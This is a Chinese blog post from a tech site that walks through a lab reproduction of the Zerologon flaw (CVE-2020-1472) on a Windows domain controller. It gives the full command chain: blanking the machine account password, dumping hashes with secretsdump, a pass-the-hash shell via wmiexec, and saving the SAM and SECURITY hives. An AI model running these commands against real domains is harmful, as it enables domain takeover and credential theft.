如何实现CVE-2020-1472 漏洞复现

发布时间:2021-12-29 15:54:00 作者:柒染
来源:亿速云 阅读:104

本篇文章给大家分享的是有关如何实现CVE-2020-1472 漏洞复现,小编觉得挺实用的,因此分享给大家学习,希望大家阅读完这篇文章后可以有所收获,话不多说,跟着小编一起来看看吧。

下面仅做漏洞复现记录与实现,利用流程如下:

1.复现环境

win7跳板机IP:192.168.52.143

win2008域控IP: 192.168.52.138

2. 利用过程

检测域控是否存在漏洞

python zerologon_tester.py owa 192.168.52.138

如何实现CVE-2020-1472 漏洞复现

使用漏洞利用工具将域控机器账户密码置空,该步骤可能会导致域控脱域,需要及时恢复hash

python set_empty_pw.py owa 192.168.52.138

如何实现CVE-2020-1472 漏洞复现

之后使用空密码将域控的hash下载

python secretsdump.py god.org/"owa$"@192.168.52.138 -no-pass

如何实现CVE-2020-1472 漏洞复现

之后使用hash通过wmiexec.py获取域管权限

python wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:81be2f80d568100549beac645d6a7141 administrator@192.168.52.138

如何实现CVE-2020-1472 漏洞复现

执行以下命令,获取目标原始hash

reg save HKLM\SYSTEM system.save

reg save HKLM\SAM sam.save

reg save HKLM\SECURITY security.save

如何实现CVE-2020-1472 漏洞复现

将其下载下来

get system.save

get sam.save

get security.save

之后将获取其置空前hash

python secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

如何实现CVE-2020-1472 漏洞复现

恢复域控hash

python reinstall_original_pw.py owa 192.168.52.138 75c1f14a63ee00aef8a5200eeff2bf88

如何实现CVE-2020-1472 漏洞复现

使用空密码验证连接

如何实现CVE-2020-1472 漏洞复现

域控hash已经恢复

以上就是如何实现CVE-2020-1472 漏洞复现,小编相信有部分知识点可能是我们日常工作会见到或用到的。希望你能通过这篇文章学到更多知识。更多详情敬请关注亿速云行业资讯频道。

推荐阅读:
  1. 怎么实现ElasticSearch 远程代码执行漏洞CVE-2014-3120复现的分析
  2. 如何实现Apache OFBiz RMI反序列化漏洞CVE-2021-26295的复现

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

cve-2020-1472

上一篇:Webmin未经身份验证的远程代码执行漏洞CVE-2019-15107的分析是怎么样的

下一篇:Openstack中计算节点链路是什么

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》